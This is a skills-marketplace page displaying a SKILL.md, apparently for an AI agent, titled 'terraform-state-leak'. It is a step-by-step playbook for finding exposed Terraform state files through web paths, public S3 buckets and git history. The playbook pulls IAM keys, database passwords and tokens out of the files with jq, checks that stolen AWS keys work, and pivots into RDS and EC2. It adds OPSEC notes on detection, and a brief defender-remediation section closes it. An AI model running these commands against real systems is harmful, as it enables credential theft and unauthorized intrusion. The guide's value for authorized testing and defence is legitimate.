Skip to main content

terraform-state-leak

Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 2일 17:24
감지된 SKILL.md 언어
영어
스타
5,565
포크
1,053

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
terraform-state-leak
description
Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.
metadata
{"subdomain":"cloud","when_to_use":"terraform state leak secrets tfstate","mitre_attack":["T1552","T1530"]}
# Terraform State Leak Exploitation Terraform's `terraform.tfstate` file is a **plaintext JSON map of every resource Terraform manages**, including: - IAM access keys / secret keys - Database passwords (RDS, ElastiCache, etc.) - API tokens passed in as variables - TLS private keys - Resource IDs / ARNs / topology (great for follow-on attacks) Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks: - S3 bucket with `public-read` ACL - S3 bucket with overly permissive policy - `terraform.tfstate` in a public Git repo (commit history!) - Backup `terraform.tfstate.backup` left in webroot - Jenkins workspace / GH Actions artifact exposing state ## 1. Discover exposed state files **Web-exposed**: ```bash # Common paths for path in '/terraform.tfstate' '/terraform.tfstate.backup' \ '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \ '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \ echo "FOUND: $TARGET$path" done # Or scan with feroxbuster feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \ -x tfstate,tfstate.backup,tfstate.json ``` **S3-direct**: ```bash # Public bucket scan aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate' # Common bucket-name patterns to enumerate for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \ "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3 done ``` **Git-history**: ```bash # Look for committed-then-removed state in target's public repos gh search code "terraform.tfstate" --owner "$ORG" --json path,repository # In a cloned repo git log --all --full-history -- '*terraform.tfstate*' git log -p --all --full-history -- '*terraform.tfstate*' | head -200 ``` ## 2. Parse the state ```bash # Quick triage jq '.terraform_version, .resources | length' /tmp/state.tfstate # Extract every sensitive-looking value jq -r '.resources[] | .instances[] | .attributes | to_entries[] | select(.key | test("password|secret|token|key|credential"; "i")) | "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt # IAM access keys (specifically) jq -r '.resources[] | select(.type=="aws_iam_access_key") | .instances[] | .attributes | "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate # RDS passwords jq -r '.resources[] | select(.type=="aws_db_instance") | .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \ /tmp/state.tfstate # Database connection URLs (often w/ embedded passwords) jq -r '.resources[] | .instances[] | .attributes | to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) | .value' /tmp/state.tfstate # Lambda env vars (often hold secrets) jq -r '.resources[] | select(.type=="aws_lambda_function") | .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate ``` Decepticon ingest: ``` tfstate_audit("/tmp/state.tfstate") ``` ## 3. Topology gold-mine Beyond raw secrets, the state reveals: - VPC IDs / subnet IDs / security group IDs / NACL rules - Route 53 zones + internal DNS names - All resource ARNs (good for IAM policy targeting later) - Tags revealing org structure (environment, owner, cost-center) - KMS key ARNs and aliases - Lambda function code locations - ECS task definitions / cluster names - RDS endpoints + which security group / VPC This data alone is high-value recon for a follow-on engagement. ## 4. Validate IAM keys ```bash AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity # Returns the IAM ARN if valid → confirmed live cred AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user # Get user details + creation date → know if it's a real human or service ``` Pivot to `aws-iam-enum/SKILL.md` for privesc from here. ## 5. RDS pivot With password from state: ```bash ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") | .instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1) # Connect (requires network reach — usually need to be in VPC or pivot) mysql -h $ENDPOINT -u $USER -p$PASSWORD psql -h $ENDPOINT -U $USER # PGPASSWORD from state ``` If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it. ## 6. Promote ``` kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>", props={"severity":"critical","secrets_found":<n>}) for each cred: kg_add_node(kind="credential", label="<service>:<value>") kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes") ``` ## OPSEC - Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs) - Using IAM keys triggers CloudTrail events (`GetCallerIdentity` is benign but observable) - Many teams have detections for `*Sandbox*` / `*test*` IAM users being used from new IPs ## CVSS - IAM access key from state + permissive policy: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = 10.0 - RDS pw + DB has PII: 9.0 (network reach gates) - Topology disclosure only: Medium 5-6 ## Defender remediation ```bash # Migrate to S3 backend with encryption + versioning terraform { backend "s3" { bucket = "tf-state-$ORG" key = "infra.tfstate" region = "us-east-1" encrypt = true kms_key_id = "arn:aws:kms:...:key/..." dynamodb_table = "tf-state-lock" } } # Verify bucket policy denies public access aws s3api put-public-access-block --bucket tf-state-$ORG \ --public-access-block-configuration \ "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true" # Scan repos for committed state files git log --all --full-history -- '*tfstate*' && \ echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)" ``` ## Known exemplars - 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil - 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan) - 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth - Pattern: terraform-cli running in CI without explicit `-backend-config=encrypt=true` defaults to local state which lands in artifact storage
GitHub에서 보기